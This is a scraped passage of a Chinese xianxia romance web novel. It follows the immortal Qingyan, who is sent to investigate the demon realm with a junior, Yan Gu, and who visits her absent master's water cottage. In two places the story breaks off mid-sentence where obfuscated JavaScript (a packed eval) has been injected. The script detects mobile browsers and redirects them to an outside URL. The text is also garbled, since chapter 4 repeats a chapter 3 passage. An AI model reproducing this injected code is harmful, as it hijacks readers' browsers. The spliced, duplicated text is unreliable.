《白切黑男主自我攻略中》 1. 缘起 妖界,某烟熏火燎的山洞外。 “锵。” 剑入鞘的声音在不远处山洞内的一片嘈杂衬托下更显微弱。收好剑的仙吏走上前去,将滚落在地的妖丹拾起,小心放入袋中。 若不是这本就恶行累累的恶妖在被擒获后仍寻机会偷袭,自己决计不会击散它的元神,导致现在只能拿这四分五裂的妖丹回去交差。本来这次追击就从人界一直追到了这恶妖在妖界的老巢,再加上如今这局面,要写的文书肯定更多了。 仙吏开始头疼。 可还没等他头疼多久,那嘈杂着的山洞中突然冲出来一个人,额头上的汗随着他疾速的步伐左甩右晃,几乎快要滴落到他手中那张破破烂烂的纸上。 仙吏从那人手上接过那烧得边缘发黑的纸,只简单扫了一眼,身形却立刻僵了僵。他登时挥退送纸过来的后辈仙吏,从怀中摸出一个萦绕着淡淡金色气雾的匣子,将那张纸妥善地放了进去,接着暗暗念出一段密咒,匣子随即应声消失不见。 ------------ 天界太垣,玄镜宫。 披绿池畔微风徐徐,碧波荡荡。四五个小仙侍沿着池子的边慢悠悠地走着,时不时捻一点手里的鱼食丢进池里,惹得水下众鱼哄抢。 鱼群吃得勤勤恳恳,浑然不觉自己正被几粒鱼食由南带到北,由东引到西。几个小姑娘互相看了看,纷纷抿唇弯眼,无声无息地笑得开怀。 此时,一衣衫隽雅的高挑女子步履匆匆地走近。听到这熟悉的脚步声,几名小仙侍立即转身施礼,细细地压着声音道:“如樱掌令好。” 如樱朝她们略一点头,脚下却是未停,一路朝着寝殿的方向去了。 及至殿中内院,她缓下脚步,轻轻推开卧房的门,又慢慢回手将其掩上。明明刚过晌午不久,屋里却还是昏暗着,一个人斜斜地躺在床上,呼吸绵软悠长,显然是睡得熟了。 如樱走到床边弯下腰,试探着拍了两下床沿。见没有任何动静,她又凑近了些,用几根手指在枕上点了点,随即加重些力度,又点了点。 她耐心地等了片刻,那斜躺着的人终于从喉间逸出一道细如蚊鸣的声音。 如樱直起身来,小声道:“仙子,天帝来传,说是有事要与你相商,特意派了天宫主掌令书云来请呢。” 床上的人还是一动不动,半晌才有一个声音模模糊糊道:“何事……” “还不清楚,不过书云猜应是与新晋上来的仙使有关。眼下这时节,也确实是要将个中翘楚分派给各位指引仙官的时候了。”如樱走到窗边,伸手卷起厚厚的帷幔。 外面的阳光随着她的动作一点一点漫进屋里,床上的人也终于坐了起来,将几缕盖在自己眼前的头发不耐烦地别到脑后,露出两条细长锋冽的眉来。 这位过了晌午却依旧在床上怠懒着的不是别人,正是仙龄两万一千岁的玄镜仙子青晏。 如樱回身,见青晏还在用手盖着眼睛,不由得笑道:“仙子还是快清醒清醒吧,回来再睡也行,省得去迟了。” “我就说今天中午怎么总是睡不踏实,看来是早有预感。”青晏长叹一口气,又在床上呆坐了片刻,这才起身走到镜前坐下:“可新晋了仙使与我有何干系,总不会是叫我去做指引仙官吧?” 如樱仔细地挽起青晏的头发:“书云同我说,她见天帝盯着仙籍阁刚呈上来的名册看了许久呢,或许真是因为这个。” “他也真是不怕我给人带入歧途……”青晏揉了揉额角,“得想个法子推了才好。” “怎么能叫入了歧途呢,”如樱拿起几枚发钿在青晏发丝间比来比去,“还有,我听书云说,这批仙使里有一位相貌颇为端正的,真真称得上风姿绝伦。按她的原话来讲,这人长得顶好看,温和秀雅,飘逸宁人,往那一站就浑身冒仙气,好看得她连大气都不敢喘。” 青晏讶然:“果真如此?” 如樱手上的动作也不由自主地慢了下来,眼睛亮闪闪的:“咱们天界这些顶梁柱里面,就只有你一直没带过后辈……” 青晏听着口风不对,赶紧拦住她的话头:“我可扮不了这顶梁柱的角色,千万别把我混算进去。” 如樱恍若未闻,继续憧憬道:“以仙子之资,对后辈的教导之责自然是要担起来的。既然早收晚收都是收,为何不趁现在收个好看的养养眼呢?” “收个养眼的后辈的确不难,但这养的到底是你的眼,还是我的眼呢?” 如樱正色道:“自然是我们大家所有人的眼。” 青晏从镜子里看了如樱一眼,笑着摇了摇头。 待她终于来到天帝所在的重琉宫后,仍有一丝困倦的青晏拿着一张边缘烧得发黑的纸,神智被一句“魔界似乎又开始不安分了”震得一点点回了笼。 她紧皱着眉,抬眼对将这张纸塞到她手里的天帝宸景问道:“这信哪里来的?” 若常人被青晏那天生自带几分冷漠的眼神一扫,怕是就连骨头缝里的油腻都能登时被刮个干净,然而早已习惯她这副模样的宸景内心却毫无波澜。 他那清朗华贵的声音随着殿内庄穆的香气一起被送到青晏的耳边:“驻守人界的仙吏在缉捕一个手上有着几百条人命的恶妖时,在其妖界老巢的遗物中所发现。” 青晏将那信匆匆读了一遍,发现整张纸上大多为普通关切之言,只有最后两行潦草提及偶闻魔界或将再生事端,希望此妖速归躲避之类的话语。 她将这封皱皱巴巴的信还给宸景:“可查出是谁所写的了吗?” 宸景摇头:“此妖行踪不定且并无亲朋,无人知晓其琐事,所以压根不知此信为何人所写。” 青晏垂眸思考了一瞬。 这封家书,可信,也不可信。首先不知是何人所写,其消息来源可靠与否,其次就算上面的内容是真的,也说不准是其他几界要起事,反倒拿着魔界做幌子。 不过魔界毕竟劣迹在先,纵然这万年间多有沉寂,却难保不是他们刻意营造出来的假象。 她道出自己的分析,宸景闻言矜矜地虚拍了两下手掌,赞道:“外界只道你玄镜仙子青晏一向清冷避世,却不知你竟有如此玲珑心思,真为你可惜啊。” “有什么好可惜,会的越多要干的活就越多,我现在已经要时不时打理一下天界大大小小的幻境了,可不想再加什么担子。” 宸景十指交叉,面上浮起一个甚是和煦的笑容。 青晏直起身子,警觉地眯起眼:“你这表情是什么意思?” 宸景却不正面回答,仍是带着那副意味深长的微笑说道:“世间万物皆环环相扣,倘若真的有人欲酿滔天巨祸,必有多条细微线索与其相连。此等暗流涌动之事,常人难以观测到的细枝末节才最是关键。所以我思虑良久,觉得只有派一聪颖玲珑之人前去暗中探查,方可窥见其中关窍。” 青晏心头一跳,但仍不死心地挣扎道:“你说的这个聪颖玲珑之人……” “自然是你啊,”宸景优雅地向她一伸手,“另外你多年来一直行踪隐秘,仙法高深,万一出现了危急情况,也有自保之力,实在是此行的最佳人选。” 青晏连连摇头:“我不行,刚才都是胡说的,我什么都不懂,再说我仙法也就那样。” 宸景连连点头:“和我一样由天界最纯粹灵气化生而成的罕见灵生之体仙法也就那样,我信了。” “信了就好。况且我也有自己的事要做,天界那些幻境……” 宸景拦住青晏的话头:“你不是十年八年才屈尊去看一眼么?这活我替你担了。” “天帝贵为天界之首, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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燃乐仙姬明煦,青晏最好的朋友,性子最是风风火火闲不住,又自从万年前成仙后几乎成天都和青晏待在一起。 虽说不知道一个喜欢到处溜达的急脾气和一个只爱窝在家里的懒性子是怎么成为朋友的,但按照宸景对明煦的了解,就算不让她跟着一起下界,明煦也必然会溜下去找青晏玩,一路上说不定声势浩大引人注目。 而若跟她说此事干系重大青晏需独自前行,按照她那心比天大的性子,也保不齐哪天就会不慎间漏嘴说出去,怎么看都是个麻烦事。 所以为今之计确实倒不如也给她分配一个老实听话的仙使,没准她肩负起责任来之后能稳重一些。 想到这,宸景最终还是翻开了登记簿,凝神思考了半天才慎而又慎地点了点一个名字:“这个孩子我略有印象,看着是个单纯良善的,这两天我也会再留意一下,若是妥当,就让他跟你们一起去。” 见青晏点头应下,他又道:“既是暗中探查,便要找准时机出发,不急着现在就动身,把你们混在其他带后辈下界游历的指引仙官中间走,省得扎眼。” “好,等你消息。”青晏对宸景摆了摆手,悠然地迈出门去。 亭院内空无一人,就连声鸟叫也不曾听闻,唯有殿内那阵肃宁悠长的香依旧萦绕在青晏左右。 她向四周望了望,果然在一隐蔽之处发现了寂音结界的痕迹。此结界可使任何声音无法与外界相传,也就是说,今日她与宸景的对话,将不会有第三个人可以知晓。 不难知道是谁布的结界,毕竟天宫内的禁制使得除天帝外无人有可驭术之力,只是宸景愈作谨慎之态,此事就显得愈加严重。 只盼此番前去,能够水落石出吧。 青晏暗叹。 几天后,青晏接到一切已准备妥当的消息,便带着为了给新人留个好印象,特意穿了自己最好看的那身衣服的明煦一起去了天宫。 天宫主掌令书云带她们入殿坐下,语带歉意地表示天帝被公务缠身耽搁了些时辰,还请她们稍等片刻。 明煦趁机问道:“书云姐姐,我听说最近新晋了个样貌绝伦的仙使,可真有此事?” 2. 初见 书云左右看了看,偷偷点了点头:“好消息,他如今正在侧厅里候着,肯定会是你们俩其中一位的仙使了哦。”说完她嫣然一笑,衣袂飘飘地出门去了。 明煦偷眼向外瞄去,见殿外一派风平浪静的模样,肩膀马上就松了下来,叹息着向后一靠:“好久没在这么正式的地方出现过了,我这手脚都不知道该怎么摆。” “我看你刚才摆得挺好的。” “那不是以为天帝在嘛。”明煦给青晏斟了一杯茶,又惬意地捏了一块茶果子放进自己嘴里,“这种求生的本能我还是有的。” 她正细细抿着茶果子,突然感受到自己侧方有一道目光传来。她迅速转头,果然与那道目光的主人撞了个正着。 原来是个清秀的小仙使,正偷偷趴在侧厅的屏风边上向她们这边张望。见明煦发现了他,那小仙使吓了一跳,连忙转身缩了回去,却不小心在屏风外支棱出一片淡青色的袖角。 明煦觉得这人有趣极了,忙用胳膊肘戳了戳青晏,用眼神示意她也往那边看。青晏刚要斜身看过去,一身白金色衣袍的宸景便迈了进来,庄严肃穆地端坐于殿中。 明煦虽天不怕地不怕,但见到面无表情的宸景还是有些忐忑。她本能地欲起身行礼,宸景却扫了她一眼,言简意赅道:“坐。” 明煦马上端端正正地坐好,两手整齐地摆在膝上。 “今日邀二位前来,是希望你们可以担起天界的传承之责。汝等功法高深,修为沉厚,皆为天界不可多得之栋梁,是以当竭尽所能,对后辈悉心教导,使其增长见闻,磨练心性,早日成长为天界的可用之才。” 明煦有些心虚地转了转眼睛。 她总觉得“功法高深,修为沉厚”这几个字跟自己没什么太大关系,但一想到这事儿有青晏在旁边给她撑腰,她的底气便不自觉地足了起来,于是郑重其事地应道:“请天帝放心,我一定会好好用心!” 宸景闻言眼眸闪了几闪,最终还是忍不住叮嘱道:“魔界虽自上次鏖战落败后便避影敛迹,但他们目前的沉寂定然只是假象,你……你们外出游历时须多加小心,遇事万万不可冒进。” 青晏懒得与他多演,便随口客套了一番。明煦将他们二人的对话听在耳中,心中甚是受用,连唇角都已然隐隐翘起了一个可疑的弧度,只有坐姿还勉强保持着和刚才一样的端正。 待他们二人终于结束了这番客客气气的你来我往后,书云步履轻盈地走到侧厅门口,柔柔叩了叩那架屏风的边沿。 有两个人从那扇云石水纹屏风后转出来。靠前的那个人着一袭淡青色衣衫,似乎是有点紧张,脚下步子迈得飞快。他本来半低着头,不知怎的抬头望了望,一下子就对上了青晏的目光,那张素净的脸登时“腾”地烧了起来,连带着耳朵都染得通红。 青晏见他这般姿态,料想该是宸景分给明煦那个性子单纯的,便朝他身后望去,想看看宸景口中自己那个“伶俐省心”的后辈到底是何般模样。 后面那人身姿颀长挺拔,一身月白锦衫随着步履飘舞翻飞,单看这神采气度就已然是一副风姿绝世的出尘模样。恰好他此时也偏过头来,见青晏正望着他,那人微微笑了笑以示礼敬,随后便不疾不徐地随着那小红脸行至大殿正中,对宸景朗声拜见。 青晏的眼睛不由自主地眨了眨。 君子皎皎,如月似璧。 饶是她见过不少各族各界的俊俏郎君,也不得不在心中暗叹这人样貌之卓绝,单单一瞥便可觉其俊美非常。 明煦悄悄地伸手过来攥紧了她的袖子,压低了声音道:“果然是个顶顶好看的大美人儿,书云诚不我欺。” 可惜殿内太静,明煦的这番低语还是被众人听了个一干二净。书云猝不及防地被点到,整个人都僵了一僵,不动声色地转头望向殿外,努力装出一副事不关己的模样。宸景瞥了瞥书云,眉心微拧。 明煦隐隐地觉得自己可能闯了祸,于是赶紧刻意地清了清嗓子,站起身来一本正经道:“两位仙使仪表英秀,一见便知非凡。如今得以天帝亲自接见,想来在新晋仙使里自然也是拔高的。天界能得你们这样的后辈,实在是幸也,幸也。” 那二人连连谦让。 “我是燃乐仙姬明煦,乐是高兴的那个乐。”她又指了指立于身边的青晏,“我身旁的这位是玄镜仙子青晏。” 青晏微微颔首。 眼见着这岔就要被自己打过去了,明煦内心十分欢喜。她正打算继续问那两人的名字,宸景却突然转向她,淡道:“燃乐仙姬。” 明煦双肩一紧:“是。” 正当她以为自己即将大祸临头,宸景的面上居然现出了一丝笑意,和缓道:“仙姬说话比从前妥帖了些,有所长进。” 明煦本来已经做好了挨说的准备,没料到宸景突然给她来了这么一招峰回路转,她脑袋顿时有些发晕,磕磕绊绊地应着:“可能,可能最近看的话本文绉绉了些,多少会了几句。” 青晏闻言正欲说些什么,书云匆匆地走到宸景身边,低头对他耳语了几句。宸景犹疑地看了她一眼,随后对殿内众人道:“我还有公务要处理,先行一步。” 他向那两位新晋仙使指了指青晏和明煦:“再嘱咐你们一句,虽是共同出行游历,但玄镜仙子资历更深,功法也更加纯熟。游历中如果遇见了棘手的麻烦,应以她的意见为重。” 这次明煦也跟着认真点头。 宸景的目光在她的头顶上落了一瞬,随即站起身来:“好了,带上自己的后辈,且自去吧。” 明煦的眼珠子直往青晏的方向溜,见她没什么反应,不免有些纳闷。她本打算等宸景走了再说,没想到宸景却在这时收住脚步:“燃乐仙姬有话要问?” 明煦一边痛恨自己为什么长了双会动的眼珠子,一边磕磕绊绊道:“啊,没什么……” 宸景凝视着她。 “就是,就是,”明煦硬着头皮张嘴,“我们还不知道这二位分别是谁的座下仙使……” 宸景正要回答,却又好像想起了什么一样顿住了。他微微眯起了眼,忽道:“若按天界旧例,一向是由资历略浅者先选。” 明煦愣了愣。 还未等她回过神来,宸景将目光缓缓转向了青晏,语气也突然变得如春风一般柔和起来:“不知玄镜仙子以为如何呢?” 青晏心中的白眼简直要翻到天上去。 哪里来的此等旧例,这人分别是想趁这个机会试探一下明煦的反应。反正无论明煦最后如何选择,此番游历也定如此前计划一般依旧是他们四人共同出行。只是宸景好歹也活了几万年了,居然玩起这种幼稚把戏,难道就不怕被人瞧出些什么端倪? 她虽忍不住腹诽,面上却半分未曾显露,淡然道:“甚好。” 明煦得了青晏的认同,终于放下心来好好端详了一番那两位新晋的仙使,一双杏眼在他们两个身上来回打转。 最终,她仿佛下定了什么决心似的,毅然指向那名淡青色衣衫的小仙使:“那我选他吧!” 被点到的小仙使倏地睁大了眼,连忙有些慌张地朝明煦鞠了一躬,结结巴巴地介绍起了自己:“见过燃乐仙姬!我叫唐禾,今年一千三百八十二岁,师从白岳山修庆道人,善用风法!” 明煦笑眯眯地应了一声,随即抬眼看向宸景。瞧他面色如常,明煦料想他应该对自己的选择还算满意,遂朝宸景开心地行了个礼,脆声道:“请天帝放心,我一定会好好教导唐禾,绝不辜负您的期待。” 宸景唇角微微一提,旋即与书云出了大殿。 见已尘埃落定,那名姿容俊雅的仙使含笑对青晏见礼:“我叫颜故,和颜悦色的颜,一见如故的故。” 他直起身来,眼里的笑意更盛了几分:“能得玄镜仙子指引,实乃三生有幸。” 虽说刚刚那一瞥已经足够让青晏知道这人的外貌实属绝伦,但当颜故眼含笑意地凝望过来时,那双温润如水的眸子还是让他的面孔更加璀璨了几分。 自己府中的女孩子们一定会很欢喜的,青晏心想。 她点点头:“倒也不至于三生有幸,能高兴便很好。” 颜故望着青晏,绽出一个令人赏心悦目的笑容。 “自然十分高兴。” -------- 厚重的宫门外,颜故抬头凝视着匾额上朴实无华的“玄镜宫”三个字,面上掠过一抹淡淡的笑意。 见青晏正在看他,颜故眼眸微闪,露出一个诚挚的笑容:“我平日里所见到的居所,大多都有一个文绉绉的名字,其中附庸风雅的更是占了大半,如仙子一般直接用自己名号命名的实属少见。不过我觉得,这样简单明了的方式反而更有返璞归真之效,仙子心思当真别致。” 明煦本来一只脚都踏进大门了,听见这话迅速往后一仰,上下打量了一番颜故后开口道:“什么呀,这名儿是我取的。” 颜故 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青晏抓着那白猫的后脖颈,面不改色道:“抱歉,自家养的猫,见到生人活泼好动了些。” 小白猫委屈地扭了扭,颤颤巍巍地朝明煦发出了一道又长又嗲的绵软娇声。 唐禾好奇地咦了一声:“这猫好可爱啊,我之前还没见过这么会撒娇的猫呢。” 那白猫闻言转过脸来,用它那双透绿的眼睛缓慢地对唐禾翻了一个白眼。一向备受小动物喜爱的唐禾这辈子第一次在猫那里得到这种待遇,惊得连话都说不出来了。 白猫七扭八扭地在青晏手中晃了两下,很快便跃进了明煦的怀中。明煦捋了捋它的毛,柔声嘱咐着:“乖啊,不要总是对别人翻白眼,翻多了自己眼睛疼怎么办?” 见青晏向她投来匪夷所思的目光,明煦立即改变口风:“咳咳,看见这两个人没有?”她握着小白猫的爪子朝颜故唐禾的方向点了点,“这是我们的朋友,不要吓唬人家,知道了吗?” 那猫敷衍地叫了一声,小胡子一抖一抖的。 明煦搓了搓它的肉垫,对颜故唐禾道:“这是青晏的猫,名叫初三,除了脾气有点大,其他哪儿都挺好的。尤其是漂亮,真的,全天界的猫你就看去吧,数我们初三长得最漂亮。” 唐禾眨巴眨巴眼睛:“初三,这名字好简洁,也是仙姬取的吗?” “还真不是,我认识它的时候,它就叫初三了。”明煦指了指青晏,“名是她取的。” 青晏耸耸肩:“谁让捡到它的那天正好是初三呢?” 说话间有两个衣衫隽雅的女子从后院转出来,在众人面前站定。青晏回头对颜故和唐禾介绍道:“这两位是我府里的掌令,高一些的那个叫如樱,粉色衣裳的叫如桃。” 明煦补道:“她们俩是这儿的大总管来着。” 看起来就更为活泼一些的如桃目光在颜故和唐禾的身上转了几转,满怀期待地问道:“不知是哪位新秀拜在了我们仙子座下呀?” 颜故温和道:“是我。” 如桃心里涌起一波赞叹。 好好好,真不愧是咱们仙子,要么不收座下仙使,要么一收就收个这么端正养眼的,真是连干活都有劲呐! 她尽量收住自己面上的迷之微笑,对青晏轻快地表示东边的初琅殿已经收拾出来了,随时可以让新秀入住。 明煦蹲下身去放跑了初三,起身凑到如桃边上:“既然收拾出来了,那便带颜故过去认认路吧。顺便也让唐禾跟着到处看看,反正以后他也是要常和我来的。” 见颜故看向她,累了一天现在只想回去躺着的青晏迅速挥手允道:“都去看看吧,我们晚饭时再见。”言罢她赶紧转过身,步履坚定地朝着寝殿的方向去了。 明煦转头对颜故唐禾得意一笑,打了个极为响亮的响指:“出发!” 正在努力认路的唐禾随着明煦和如桃连连拐了几个弯,已经有点分不清方向。 明煦背着手走在前面:“有点儿绕是吧?走多了就好了。这片儿还算好走呢,西偏殿那边儿更绕。我当年在那住过一段时间,压根记不住路,被迫每天都翻墙走。” 唐禾疑惑地挠挠头:“翻墙?不能用法术吗?” 如桃答道:“其他地方可以,只有西偏殿不行,不过那片本来也没什么人去,只有初三偶尔过去遛遛。” 唐禾有些兴奋:“哇,西偏殿听起来好神秘,是发生过什么特殊的事吗?” 3. 玄镜宫 如桃正要作答,话到嘴边又改了主意。她压低了声音,缓道:“既然是神秘的事,又怎么会轻易让你知道呢?年轻人呐,知道的事情太多,可不是什么好事。” 唐禾半张着嘴,神情逐渐变得紧张起来。明煦笑言快别吓他了,哪有什么神秘的事儿,西偏殿那片儿不过是有一道不能用法术的禁制而已。 颜故微偏过头:“玄镜仙子为何要下这样的禁制呢?” 如桃摆手道:“不是我们仙子下的,这禁制早就有了,是她师父留下来的。” 见唐禾似乎不知道青晏的师父是谁,如桃心中慨叹天界果然是来了新人,赶紧对明煦催促道:“哎仙姬,你那说书的本事要不要给他们来一段?” 明煦“唰”地回头,在唐禾期待的目光中摆出一副标准的说书先生姿势:“咳咳,既然你们二位初来乍到,那便听我给你们好好说道说道!” 原来青晏的师父,竟然就是那个大名鼎鼎的仙圣,存羽。 天界共有三名仙圣,虽说这三位各个都是举足轻重的人物,但存羽依然是其中最有名望,也最受人崇敬的那位,只因他在万年前的天魔大战中将自己元神祭出拼死相搏,一举击退了带着精锐偷袭天界较为薄弱的那处结界的魔尊,使其伤重难愈无法再战,只得派人前来议和。 自那之后,存羽在整个天界便名声大噪,无人不将其视为拯救天界的大英雄,然而因伤势过重休养了足足两千余年才醒转过来的存羽自己却对这个荣誉不甚在意,转身潇洒云游去了,从此行踪成谜。 明煦这书说得是慷慨激昂,话里话外都透着对存羽的无限崇拜,谈话间便已经带着他们来到了青晏吩咐人专门为颜故收拾出来的住所。 颜故抬眼望去,那幢名为初琅殿的古雅殿宇坐落在苍翠掩映之中,一缕清风温柔地拂过,枝干间的叶片随之颤颤起舞,发出了阵阵仿若悠长叹息般的叶鸣。 不要心急,他对自己说。 ------ 明煦平时没事儿就往青晏这跑,现在虽然座下多了个仙使唐禾,但日子过得和之前也没什么分别,依旧是大部分时间都在青晏府中晃悠着。 青晏让膳房记下了颜故和唐禾爱吃的东西,也特意叮嘱这几日的吃食都按照他们喜好做,而明煦发挥了她一向擅长的话痨优势,整日里嘻嘻哈哈的,很快便令这两位后辈放松下来。 出发日前一天。 “嗯?你要去和你师父知会一声要走了?”明煦疑惑道,“没听说存羽仙圣云游回来了呀。” 受明煦说书影响,对存羽仙圣的崇拜也有些满溢的唐禾此时有些激动。他眨巴着自己那双纯净润亮的眼睛,有些羞赧地表示自己想对存羽仙圣当面拜见。青晏忙道存羽仍在云游,自己所说的知会也并非当面告知,等他归来之时定然会寻机让大家都和他见上面。 唐禾闻言难免有些失落,颜故却没什么太大的反应。 “无妨,”他语带笑意,极为温和地劝慰着唐禾,“来日方长,以后总有机会相见。” 唐禾点头称是。 过了一阵,天色已然彻底黑了下来,青晏沿着一片长满树藤的小路向玄镜宫后苑慢吞吞地走去。 她的身影一路上忽隐忽现,终于在一炷香的时间后彻底消失,连半点踩过树藤的窸窣声音都不见。 后苑那片浩渺的湖泊静静地沐浴在月光下,湖畔荷花娇艳。 待月亮又高了些,青晏的身影出现在了湖边。她回头看了看正对着湖中央的那棵帝休木,伸手祭出一面花纹极为繁复的长柄镜子来。 此镜便是昔日存羽仙圣在一片灵气盎然之地寻见刚化形的青晏时,与她同生同伴的那面幻镜法器,后被青晏起名唤作玄元镜。无人知晓天地灵气何以同时孕育出一面镜子与一名幼童,青晏自己亦未曾深思过这个问题,只是惊奇地发现她的幻术日渐强大。 灵智较低之物如一池芙蕖、一群仙鹤等她皆可轻轻一挥便能幻成;就算是人类也能轻易幻化而出——无非是多耗费法力,维持时间不长罢了。而随着法力见长,青晏的幻术更是出神入化,有了玄元镜的助力,就连缔造多重连神仙都不易勘破的幻境也不在她的话下。 此时玄元镜浮在空中绕了一圈,细细的柄身稳稳地指向了帝休木盘旋交错着的一条根脉。青晏一错手指,那条根脉便缓缓挪动了半寸,露出一个小小的土坑。 那土坑上笼罩着一层灰蒙蒙的雾气,淡淡的,极难被人察觉。青晏把浮在空中的玄元镜重新握在手里,口中念起存羽之前教给过她的引字。 对镜望月。 她抬手将镜子对准了月亮,仔细地找着角度。稀薄的月光在她的动作下逐渐积聚成一道明亮而又冰冷的光,遥遥地照射到了那个不起眼的土坑上。土坑上的雾气在月光的照耀下一点点地散去,最终彻底消失。 没了雾气的阻碍,一股涓涓细流从湖里静静爬了上来,直奔那小土坑而去。青晏低下头去,轻声对着潮湿的土坑讲出了后半句引字。 对水思眠。 平静无波的水面突然剧烈颤抖了起来,满池荷花飞速地闭合,收缩,直至退回水下消失不见。 青晏起身整了整自己的衣裳,耐心地在塘边等待,直到一间紧闭着的木屋从水下悄然浮起,静静地浮在了湖面中央。她将镜子悬在岸边,踏上了此时宛若平地一般的湖面。 青晏对着那间木屋的门静静施了个礼,开口唤道:“师父。” 屋内没有任何回应。 不过青晏本就没指望能得到什么回答。她不知从哪儿拣了个凳子在门口坐下,絮絮叨叨地讲了起来:“虽说我知道你很忙,也尽量少跟你说闲话,但现在已然是到了不得不来找你倾诉的时刻了。带后辈太难了,真的,一个个那么好学上进,我那时候哪有过这种日子。如果我当初也像他们这般勤奋,你可能都不太适应。” “分给我的那个后辈叫颜故,很有灵性,心思剔透,待人也周到。明煦也有了一个后辈,叫唐禾,虽说在仙法方面尚不及颜故,但贵在一片赤诚,心思单纯。明煦更擅武法,所以这两个后辈平日里的仙法修行我都会顾一顾,再加上平时他们问的一些常识问题,每日平白多了许多话要讲,属实心累。” 她支着胳膊:“这两个孩子看着都是好的,但我心里没底,总怕耽误了人家。宸景还说不难,让我按照你当初带我的法子来就好,左右教徒弟和教后辈没什么太大差别。但我最近看了些文录,其他人游历的时候显然不是以吃喝玩乐为主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13988129|148307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。况且现在各界都安分的很,哪里能像咱们当初一样,很轻松就找到一个祸乱人界的魔头或大妖去降服呢?” 青晏长叹了一口气,静静地托腮望着夜空。星辉点点,月影朦胧,再望远些便分不清映入眼帘的到底是星空本身,还是完美倒映着星空的湖面了。 她放空了很久,久到开始觉得有点无趣才长长地伸了个懒腰,站起来昂首道:“不过这也不算什么大事,其他人怎么教导后辈与我何干?我只需遵循咱们师门的规矩就好,那便是无规无矩,只道无愧。能教的我便都主动教上一教,有人带路,总比自己蹒跚好。” 青晏愉快地敲了敲木屋的门:“你也该得意得意,毕竟你的徒弟我已经可以独当一面,是其他人眼中的大前辈了呢。” 她停了半晌,慢吞吞道:“不过,你也该云游归来了吧,我已经有快七千年没见过你了,还是有点想念的。” 小木屋内依旧寂静。 得到了意料之中的回应,青晏转身折了回去。她双脚方重新踏上地面,湖面上的小屋便渐渐隐没入水,水畔荷花也重新舒展出婀娜。 青晏收起了玄元镜,低头盯着那个逐渐被帝休木根重新掩盖上的小土坑,感觉自己又慢慢恢复成了平日里冷静自持的那个人。 虽说这也是自己的天性之一,但在这个全天下与她最亲的人面前,年少时的幼稚心性还是会不自觉地显露出来。她那么久都没见到自己那位如同老父亲一般的师父了,在没人看见的时候对他撒撒娇自然也是理所应当。更何况是对着一幢不会有回应的屋子撒娇,就更毫无压力。 遥记当年师父因多位挚友在与魔尊的生死一战中尽数消亡而心神激荡,遂决定前去云游舒缓的时候,自己并没料到他会去那么久。 彼时她还觉得这套临行前特意告诉她的水中小屋及其召唤之法应无甚可用之处,按她这种深居简出的活法,哪有什么十万火急的大事需要通过这屋子来传达。 结果没想到七千年过去了,师父竟是一次面都没露过,自己闲来无事用神念传递的絮叨也一概不回,只有偶尔对着水中小屋说的三言两语还算有点回应。 眼见着自己也要下界带后辈去历练,还是理应通报一下给师父,不然若等他终于云游归来却发现自己不在,少不了要跟她哀怨两句,实在是划不来。 青晏在心中勾勒了一下师父对着她絮叨“果然是孩子大了,如今已不把师父放在心上,连带人下界历练这种大事都不和师父说一声”的模样,轻快地离开了后苑。 ---------- 出发当天。 明煦照例带着唐禾来青晏府中汇合,因青晏住处离太垣南门着实有点远,怕颜故与唐禾的修为不足以用腾移之术到达,青晏便安排了一辆飞月乘载他们前往,并威胁初三如果敢偷偷跟来便要让它去拉车,气得它发出的骂声听着有点像羊叫。 明煦一路上都兴奋极了,不住地盘算着到人界后都该干点什么,好似他们此行并非是带着座下仙使去下界游历,而是出门散心一般。眼见着明煦快要把接下来一百年的计划都安排妥当了,青晏却也只是笑眯眯听着,并不开腔。 颜故侧过头低声问青晏:“仙子,我们真的是这个安排吗?” 4. 过往 正在努力认路的唐禾随着明煦和如桃连连拐了几个弯,已经有点分不清方向。 明煦背着手走在前面:“有点儿绕是吧?走多了就好了。这片儿还算好走呢,西偏殿那边儿更绕。我当年在那住过一段时间,压根记不住路,被迫每天都翻墙走。” 唐禾疑惑地挠挠头:“翻墙?不能用法术吗?” 如桃答道:“其他地方可以,只有西偏殿不行。” 唐禾有些兴奋:“哇,西偏殿听起来好神秘,是发生过什么特殊的事吗?” 如桃正要作答,话到嘴边又改了主意。 她压低了声音,缓道:“既然是神秘的事,又怎么会轻易让你知道呢?年轻人呐,知道的事情太多,可不是什么好事。” 唐禾半张着嘴,神情逐渐变得紧张起来。 明煦笑道:“你快别吓他了,哪有什么神秘的事儿,西偏殿那片儿不过是有一道不能用法术的禁制而已。” 颜故微偏过头:“玄镜仙子为何要下这样的禁制呢?” 如桃摆手道:“不是我们仙子下的,这禁制早就有了,是她师父留下来的。” “玄镜仙子的师父……是谁呀?”唐禾有些好奇地问道。 “不错不错,天界果然是来了新人呐。”如桃心满意足地点点头,“哎仙姬,你那说书的本事要不要给他们来一段?” 明煦“唰”地回头,摆出一副标准的说书先生姿势:“咳咳,既然你们二位初来乍到,那便听我给你们好好说道说道!” 她伸出三根手指:“咱们天界共有三位仙圣,个个都是举足轻重的人物。其中,最年轻,在我看来也是长得最好看的那位,就是青晏的师父——存羽仙圣。至于他的事迹,想必无须我多言你们也早有耳闻。但毕竟你们之前不在天界,听到的故事大概与事实会有些出入。” 明煦不知从哪拿出一柄说书扇子,得意地在手心敲了敲:“不过好在你们现在遇到了我,怎么样,想不想听最真实的版本?” 颜故立刻绽出一个诚挚的微笑,唐禾也兴致勃勃地表示想听。 